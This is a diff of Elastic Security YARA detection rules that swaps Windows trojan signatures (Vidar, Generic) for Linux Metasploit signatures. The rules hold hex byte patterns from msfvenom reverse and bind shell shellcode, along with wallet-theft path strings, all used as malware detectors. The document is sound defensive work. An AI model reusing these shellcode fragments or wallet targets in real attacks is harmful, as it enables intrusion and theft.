+		id = "69e20012-4f5d-42ce-9913-8bf793d2a695"
+		date = "2024-05-03"
+		modified = "2024-05-21"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_DBatLoader.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f72d7e445702bbf6b762ebb19d521452b9c76953d93b4d691e0e3e508790256e"
-		logic_hash = "6fe91d91bb383c66a6dc623b02817411a39b88030142517f4048c5c25fbb4ac5"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Metasploit.yar#L1-L24"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "debb5d12c1b876f47a0057aad19b897c21f17de7b02c0e42f4cce478970f0120"
+		logic_hash = "5d3c3e3ba7d5d0c20d2fa1a53032da9a93a6727dcd6cb3497bb7bfb8272e4f2b"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "81b87663fbad9854430e5c4dcade464a15b995e645f9993a3e234593ee4df901"
+		fingerprint = "263efec478e54c025ed35bba18a0678ceba36c90f42ccca825f2ba1202e58248"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { FF 00 74 17 8B 45 E8 0F B6 7C 18 FF 66 03 7D EC 66 0F AF 7D F4 66 03 }
+		$mmap = { 31 FF 6A 09 58 99 B6 10 48 89 D6 4D 31 C9 6A 22 41 5A 6A 07 5A 0F 05 48 85 C0 78 }
+		$socket = { 41 59 50 6A 29 58 99 6A 02 5F 6A 01 5E [0-6] 0F 05 48 85 C0 78 }
+		$connect = { 51 48 89 E6 6A 10 5A 6A 2A 58 0F 05 59 48 85 C0 79 }
+		$failure_handler = { 57 6A 23 58 6A 00 6A 05 48 89 E7 48 31 F6 0F 05 59 59 5F 48 85 C0 79 }
+		$exit = { 6A 3C 58 6A 01 5F 0F 05 }
+		$receive = { 5A 0F 05 48 85 C0 78 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Vidar_9007Feb2 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Metasploit_0C629849 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Vidar (Windows.Trojan.Vidar)"
+		description = "Detects Linux Trojan Metasploit (Linux.Trojan.Metasploit)"
 		author = "Elastic Security"
-		id = "9007feb2-6ad1-47b6-bae2-3379d114e4f1"
-		date = "2021-06-28"
-		modified = "2021-08-23"
+		id = "0c629849-8127-4fec-a225-da29bf41435e"
+		date = "2024-05-03"
+		modified = "2024-05-21"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Vidar.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec"
-		logic_hash = "fcdef7397f17ee402155e526c6fa8b51f3ea96e203a095b0b4c36cb7d3cc83d1"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Metasploit.yar#L26-L48"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ad070542729f3c80d6a981b351095ab8ac836b89a5c788dff367760a2d8b1dbb"
+		logic_hash = "2bea8f569728ba81af4024bf062a06a5c91b1f057a0b62fe6d51b6fcadedf58c"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8416b14346f833264e32c63253ea0b0fe28e5244302b2e1b266749c543980fe2"
+		fingerprint = "3e98ffa46e438421056bf4424382baa6fbe30e5fc16dbd227bceb834873dbe41"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { E8 53 FF D6 50 FF D7 8B 45 F0 8D 48 01 8A 10 40 3A D3 75 F9 }
+		$socket_call = { 6A 29 58 6A 0A 5F 6A 01 5E 31 D2 0F 05 50 5F }
+		$populate_sockaddr_in6 = { 99 52 52 52 66 68 }
+		$calls = { 6A 31 58 6A 1C 5A 0F 05 6A 32 58 6A 01 5E 0F 05 6A 2B 58 99 52 52 54 5E 6A 1C 48 8D 14 24 0F 05 }
+		$dup2 = { 48 97 6A 03 5E 6A 21 58 FF CE 0F 05 E0 F7 }
+		$exec_call = { 6A 3B 58 99 48 BB 2F 62 69 6E 2F 73 68 00 53 54 5F 0F 05 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Vidar_114258D5 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Metasploit_849Cc5D5 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Vidar (Windows.Trojan.Vidar)"
+		description = "Detects Linux Trojan Metasploit (Linux.Trojan.Metasploit)"
 		author = "Elastic Security"
-		id = "114258d5-f05e-46ac-914b-1a7f338ccf58"
-		date = "2021-06-28"
-		modified = "2021-08-23"
+		id = "849cc5d5-737a-4ea4-9bb6-cec26b132ff2"
+		date = "2024-05-03"
+		modified = "2024-05-21"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Vidar.yar#L21-L44"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec"
-		logic_hash = "9ea3ea0533d14edd0332fa688497efd566a890d1507214fc8591a0a11433d060"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Metasploit.yar#L50-L71"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "42d734dbd33295bd68e5a545a29303a2104a5a92e5fee31d645e2a6410cc03e9"
+		logic_hash = "01c708b1e000aecf473e0a1cf23f3812a337b9b21f5b81f7a5e481d06fdaeb16"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934"
+		fingerprint = "859638998983b9dc0cffc204985b2c4db8a4fb2a97ff4e791fd6762ff6b1f5da"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "BinanceChainWallet" fullword
-		$a2 = "*wallet*.dat" fullword
-		$a3 = "SOFTWARE\\monero-project\\monero-core" fullword
-		$b1 = "CC\\%s_%s.txt" fullword
-		$b2 = "History\\%s_%s.txt" fullword
-		$b3 = "Autofill\\%s_%s.txt" fullword
+		$init1 = { 6A 29 58 99 6A 02 5F 6A 01 5E 0F 05 48 97 }
+		$init2 = { 6A 10 5A 6A ?? 58 0F }
+		$shell1 = { 6A 03 5E 48 FF CE 6A 21 58 0F 05 75 F6 6A 3B 58 99 48 BB 2F 62 69 6E 2F 73 68 00 53 48 89 E7 52 57 48 89 E6 0F 05 }
+		$shell2 = { 48 96 6A 2B 58 0F 05 50 56 5F 6A 09 58 99 B6 10 48 89 D6 4D 31 C9 6A 22 41 5A B2 07 0F 05 48 96 48 97 5F 0F 05 FF E6 }
 
 	condition:
-		1 of ($a*) and 1 of ($b*)
+		all of ($init*) and 1 of ($shell*)
 }
-rule ELASTIC_Windows_Trojan_Vidar_32Fea8Da : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Metasploit_Da378432 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Vidar (Windows.Trojan.Vidar)"
+		description = "Detects Linux Trojan Metasploit (Linux.Trojan.Metasploit)"
 		author = "Elastic Security"
-		id = "32fea8da-b381-459c-8bf4-696388b8edcc"
-		date = "2023-05-04"
-		modified = "2023-06-13"
+		id = "da378432-d549-4ba8-9e33-a0d0656fc032"
+		date = "2024-05-03"
+		modified = "2024-05-21"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Vidar.yar#L46-L66"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6f5c24fc5af2085233c96159402cec9128100c221cb6cb0d1c005ced7225e211"
-		logic_hash = "1a18cdc3bd533c34eb05b239830ecec418dc76ee9f4fcfc48afc73b07d55b3cd"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Metasploit.yar#L73-L93"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "277499da700e0dbe27269c7cfb1fc385313c4483912a9a3f0c15adba33ecd0bf"
+		logic_hash = "cd9df6dff23986d61176e4d3440516b0590abdeebef0e456d1f4924724556fe9"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "ebcced7b2924cc9cfe9ed5b5f84a8959e866a984f2b5b6e1ec5b1dd096960325"
+		fingerprint = "db6e226c18211d845c3495bb39472646e64842d4e4dd02d9aad29178fd22ea95"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 4F 4B 58 20 57 65 62 33 20 57 61 6C 6C 65 74 }
-		$a2 = { 8B E5 5D C3 5E B8 03 00 00 00 5B 8B E5 5D C3 5E B8 08 00 00 }
-		$a3 = { 83 79 04 00 8B DE 74 08 8B 19 85 DB 74 62 03 D8 8B 03 85 C0 }
+		$str1 = { 6A 29 58 99 6A 02 5F 6A 01 5E 0F 05 48 97 }
+		$str2 = { 6A 10 5A 6A ?? 58 0F }
+		$str3 = { 6A 03 5E 48 FF CE 6A 21 58 0F 05 75 F6 6A 3B 58 99 48 BB 2F 62 69 6E 2F 73 68 00 53 48 89 E7 52 57 48 89 E6 0F 05 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Generic_A681F24A : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Metasploit_B957E45D : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Generic (Windows.Trojan.Generic)"
+		description = "Detects x86 msfvenom nonx TCP reverse shells"
 		author = "Elastic Security"
-		id = "a681f24a-7054-4525-bcf8-3ee64a1d8413"
-		date = "2021-06-10"
-		modified = "2021-08-23"
+		id = "b957e45d-0eb6-4580-af84-98608bbc34ef"
+		date = "2024-05-07"
+		modified = "2024-05-21"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Generic.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a796f316b1ed7fa809d9ad5e9b25bd780db76001345ea83f5035a33618f927fa"
-		logic_hash = "72bfefc8f92dbe65d197e02bf896315dcbc54d7b68d0434f43de026ccf934f40"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Metasploit.yar#L95-L115"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "78af84bad4934283024f4bf72dfbf9cc081d2b92a9de32cc36e1289131c783ab"
+		logic_hash = "27281303d007e6723308e88f335f52723b3ff0ef733d1a0712f5ba268e53a073"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "6323ed5b60e728297de19c878cd96b429bfd6d82157b4cf3475f3a3123921ae0"
-		severity = 25
+		fingerprint = "ac71352e2b4c8ee8917b1469cd33e6b54eb4cdcd96f02414465127c5cad6b710"
+		threat_name = "Linux.Trojan.Metasploit"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = "_kasssperskdy" wide fullword
-		$b = "[Time:]%d-%d-%d %d:%d:%d" wide fullword
-		$c = "{SDTB8HQ9-96HV-S78H-Z3GI-J7UCTY784HHC}" wide fullword
+		$str1 = { 31 DB 53 43 53 6A 02 6A 66 58 89 E1 CD 80 97 5B }
+		$str2 = { 66 53 89 E1 6A 66 58 50 51 57 89 E1 43 CD 80 5B 99 B6 0C B0 03 CD 80 }
 
 	condition:
-		2 of them
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Generic_Ae824B13 : REF1296 FILE MEMORY
+rule ELASTIC_Linux_Trojan_Metasploit_1A98F2E2 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Generic (Windows.Trojan.Generic)"
+		description = "Detects x86 msfvenom nonx TCP bind shells"
 		author = "Elastic Security"
-		id = "ae824b13-eaae-49e6-a965-ff10379f3c41"
-		date = "2022-02-03"
-		modified = "2022-04-12"
+		id = "1a98f2e2-9354-4d04-b1c0-d3998e54e2c4"
+		date = "2024-05-07"
+		modified = "2024-05-21"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Generic.yar#L23-L43"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "cee46c1efdaa1815606f932a4f79b316e02c1b481e73c4c2f8b7c72023e8684c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Metasploit.yar#L117-L137"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "89be4507c9c24c4ec9a7282f197a9a6819e696d2832df81f7e544095d048fc22"
+		logic_hash = "23ea1c255472a67746b470e50d982bc91d22ede5e2582cf5cfaa90a1ed4e8805"
 		score = 75
-		quality = 67
-		tags = "REF1296, FILE, MEMORY"
-		fingerprint = "8658996385aac060ebe9eab45bbea8b05b9008926bb3085e5589784473bc3086"
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "b9865aad13b4d837e7541fe6a501405aa7d694c8fefd96633c0239031ebec17a"
+		threat_name = "Linux.Trojan.Metasploit"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 31 31 34 2E 31 31 34 2E 31 31 34 2E 31 31 34 }
-		$a2 = { 69 6E 66 6F 40 63 69 61 2E 6F 72 67 30 }
-		$a3 = { 55 73 65 72 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C 61 2F 35 2E 30 20 28 57 69 6E 64 6F 77 73 20 4E 54 20 36 2E 33 3B 20 57 4F 57 36 34 29 20 41 70 70 6C 65 57 65 62 4B 69 74 2F 35 33 37 2E 33 36 20 28 4B 48 54 4D 4C 2C 20 6C 69 6B 65 20 47 65 63 6B 6F 29 20 43 68 72 6F 6D 65 2F 35 30 2E 30 2E 32 36 36 31 2E 39 34 20 53 61 66 61 72 69 2F 35 33 37 2E 33 36 }
-		$a4 = { 75 73 65 72 25 33 64 61 64 6D 69 6E 25 32 36 70 61 73 73 77 6F 72 64 25 33 64 64 65 66 61 75 6C 74 25 34 30 72 6F 6F 74 }
+		$str1 = { 31 DB 53 43 53 6A 02 6A 66 58 99 89 E1 CD 80 96 43 52 }
+		$str2 = { 66 53 89 E1 6A 66 58 50 51 56 89 E1 CD 80 B0 66 D1 E3 CD 80 52 52 56 43 89 E1 B0 66 CD 80 93 B6 0C B0 03 CD 80 89 DF }
 
 	condition:
-		3 of them
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Generic_Eb47E754 : REF1296 FILE MEMORY
+rule ELASTIC_Linux_Trojan_Metasploit_D74153F6 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Generic (Windows.Trojan.Generic)"
+		description = "Detects x86 msfvenom IPv6 TCP reverse shells"
 		author = "Elastic Security"
-		id = "eb47e754-9b4d-45e7-b76c-027d03326c6c"
-		date = "2022-02-03"
-		modified = "2022-04-12"
+		id = "d74153f6-0047-4576-8c3e-db0525bb3a92"
+		date = "2024-05-07"
+		modified = "2024-05-21"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Generic.yar#L45-L65"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "1d96e813ed0261bd0d7caca2803ed8d5fe4d77ea00efc9130eef86aa872c4656"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Metasploit.yar#L139-L159"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2823d27492e2e7a95b67a08cb269eb6f4175451d58b098ae429330913397d40a"
+		logic_hash = "c60e7e63183f5bf0354a03f8399576e494e44a30257339ebccb6c19e954d6f3a"
 		score = 75
-		quality = 67
-		tags = "REF1296, FILE, MEMORY"
-		fingerprint = "b71d13a34e5f791612ed414b8b0e993b1f476a8398a1b0be39046914ac5ac21d"
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "824baa1ee7fda8074d76e167d3c5cc1911c7224bb72b1add5e360f26689b48c2"
+		threat_name = "Linux.Trojan.Metasploit"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 41 20 61 74 20 4C 20 25 64 }
-		$a2 = { 74 63 70 69 70 5F 74 68 72 65 61 64 }
-		$a3 = { 32 30 38 2E 36 37 2E 32 32 32 2E 32 32 32 }
-		$a4 = { 55 73 65 72 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C 61 2F 35 2E 30 20 28 57 69 6E 64 6F 77 73 20 4E 54 20 36 2E 33 3B 20 57 4F 57 36 34 29 20 41 70 70 6C 65 57 65 62 4B 69 74 2F 35 33 37 2E 33 36 20 28 4B 48 54 4D 4C 2C 20 6C 69 6B 65 20 47 65 63 6B 6F 29 20 43 68 72 6F 6D 65 2F 35 37 2E 30 2E 32 39 38 37 2E 31 33 33 20 53 61 66 61 72 69 2F 35 33 37 2E 33 36 }
+		$str1 = { 31 DB 53 43 53 6A 0A 89 E1 6A 66 58 CD 80 96 99 }
+		$str2 = { 89 E1 6A 1C 51 56 89 E1 43 43 6A 66 58 CD 80 89 F3 B6 0C B0 03 CD 80 89 DF }
 
 	condition:
-		3 of them
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Generic_C7Fd8D38 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Metasploit_F7A31E87 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Generic (Windows.Trojan.Generic)"
+		description = "Detects x86 msfvenom shell find tag payloads"
 		author = "Elastic Security"
-		id = "c7fd8d38-eaba-424d-b91a-098c439dab6b"
-		date = "2022-02-17"
-		modified = "2022-04-12"
+		id = "f7a31e87-c3d7-4a26-9879-68893780283e"
+		date = "2024-05-07"
+		modified = "2024-05-21"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Generic.yar#L67-L89"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a1702ec12c2bf4a52e11fbdab6156358084ad2c662c8b3691918ef7eabacde96"
-		logic_hash = "81c56cd741692a7f2a894c2b8f2676aad47f14221228b9466a2ab0f05d76c623"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Metasploit.yar#L161-L182"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "82b55d8c0f0175d02399aaf88ad9e92e2e37ef27d52c7f71271f3516ba884847"
+		logic_hash = "49583ba4f2bedb9337a8c10df4246bb76a3e60b08ba1a6b8684537fee985d911"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "dc14cd519b3bbad7c2e655180a584db0a4e2ad4eea073a52c94b0a88152b37ba"
+		fingerprint = "7171cb9989405be295479275d8824ced7e3616097db88e3b0f8f1ef6798607e2"
+		threat_name = "Linux.Trojan.Metasploit"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "PCREDENTIAL" ascii fullword
-		$a2 = "gHotkey" ascii fullword
-		$a3 = "EFORMATEX" ascii fullword
-		$a4 = "ZLibEx" ascii fullword
-		$a5 = "9Root!" ascii fullword
+		$setup = { 31 DB 53 89 E6 6A 40 B7 0A 53 56 53 89 E1 86 FB 66 FF 01 6A 66 58 CD 80 81 3E }
+		$payload1 = { 5F FC AD FF }
+		$payload2 = { 5F 89 FB 6A 02 59 6A 3F 58 CD 80 49 79 ?? 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80 }
 
 	condition:
-		all of them
+		$setup and 1 of ($payload*)
 }
-rule ELASTIC_Windows_Trojan_Generic_Bbe6C282 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Metasploit_B0D2D4A4 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Generic (Windows.Trojan.Generic)"
+		description = "Detects x86 msfvenom shell find port payloads"
 		author = "Elastic Security"
-		id = "bbe6c282-e92d-4021-bdaf-189337e4abf0"
-		date = "2022-03-02"
-		modified = "2022-04-12"
+		id = "b0d2d4a4-4fd6-4fc0-959b-89d6969215ed"
+		date = "2024-05-07"
+		modified = "2024-05-21"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Generic.yar#L91-L109"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a44c46d4b9cf1254aaabd1e689f84c4d2c3dd213597f827acabface03a1ae6d1"
-		logic_hash = "fe874d69ae71775cf997845c90e731479569e2ac1ac882a4b8c3c73d015b1f30"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Metasploit.yar#L184-L205"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a37c888875e84069763303476f0df6769df6015b33aded59fc1e23eb604f2163"
+		logic_hash = "bcabf74900222074ecf9051b6e0cb4ca7a240acd047a1b27137d1d198e23f161"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e004d77440a86c23f23086e1ada6d1453178b9c2292782c1c88a7b14151c10fe"
+		fingerprint = "f6d2e001d8cfb6f086327ddb457a964932a8200ff60ea973b26ac9fb909b4a9c"
+		threat_name = "Linux.Trojan.Metasploit"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 00 D1 1C A5 03 08 08 00 8A 5C 01 08 08 00 8A 58 01 2E 54 FF }
+		$str1 = { 31 DB 53 89 E7 6A 10 54 57 53 89 E1 B3 07 FF 01 6A 66 58 CD 80 }
+		$str2 = { 5B 6A 02 59 B0 3F CD 80 49 }
+		$str3 = { 50 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 50 53 89 E1 99 B0 0B CD 80 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Generic_889B1248 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Metasploit_5D26689F : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Generic (Windows.Trojan.Generic)"
+		description = "Detects x86 msfvenom bind TCP random port payloads"
 		author = "Elastic Security"
-		id = "889b1248-a694-4c9b-8792-c04e582e814c"
-		date = "2022-03-11"
-		modified = "2022-04-12"
+		id = "5d26689f-3d3a-41f1-ac32-161b3b312b74"
+		date = "2024-05-07"
+		modified = "2024-05-21"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Generic.yar#L111-L132"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a48d57a139c7e3efa0c47f8699e2cf6159dc8cdd823b16ce36257eb8c9d14d53"
-		logic_hash = "b3bb93b95377d6c6606d29671395b78c0954cc47d5cc450436799638d0458469"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Metasploit.yar#L207-L229"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "dafefb4d79d848384442a697b1316d93fef2741fca854be744896ce1d7f82073"
+		logic_hash = "e7906273aa7f42920be9d06cdae89c81e0a99e532cdcd7bd714acc5f2bbb0ed5"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a5e0c2bbd6a297c01f31eccabcbe356730f50f074587f679da6caeca99e54bc1"
+		fingerprint = "b78fda9794dc24507405fc04bdc0a3e8abfcdc5c757787b7d9822f4ea2190120"
+		threat_name = "Linux.Trojan.Metasploit"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "BELARUS-VIRUS-MAKER" ascii fullword
-		$a2 = "C:\\windows\\temp\\" ascii fullword
-		$a3 = "~c~a~n~n~a~b~i~s~~i~s~~n~o~t~~a~~d~r~u~g~" ascii fullword
-		$a4 = "untInfector" ascii fullword
+		$tiny_bind = { 31 D2 52 68 2F 2F 73 68 68 2F 62 69 6E 68 2D 6C 65 2F 89 E7 52 68 2F 2F 6E 63 68 2F 62 69 6E 89 E3 52 57 53 89 E1 31 C0 B0 0B CD 80 }
+		$reg_bind_setup = { 31 DB F7 E3 B0 66 43 52 53 6A 02 89 E1 CD 80 52 50 89 E1 B0 66 B3 04 CD 80 B0 66 43 CD 80 59 93 }
+		$reg_bind_dup_loop = { 6A 3F 58 CD 80 49 79 }
+		$reg_bind_execve = { B0 0B 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 41 CD 80 }
 
 	condition:
-		all of them
+		($tiny_bind) or ( all of ($reg_bind*))
 }
-rule ELASTIC_Windows_Trojan_Generic_02A87A20 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Metasploit_1C8C98Ae : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Generic (Windows.Trojan.Generic)"
+		description = "Detects x86 msfvenom add user payloads"
 		author = "Elastic Security"
-		id = "02a87a20-a5b4-44c6-addc-c70b327d7b2c"
-		date = "2022-03-04"
-		modified = "2022-04-12"
+		id = "1c8c98ae-46c8-45fe-ab42-7b053f0357ed"
+		date = "2024-05-07"
+		modified = "2024-05-21"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Generic.yar#L134-L152"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "13037b749aa4b1eda538fda26d6ac41c8f7b1d02d83f47b0d187dd645154e033"
-		logic_hash = "610db1b429ed2ecfc552f73ed4782cb56254e6fc98b728ffeff6938fbcce9616"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Metasploit.yar#L231-L251"
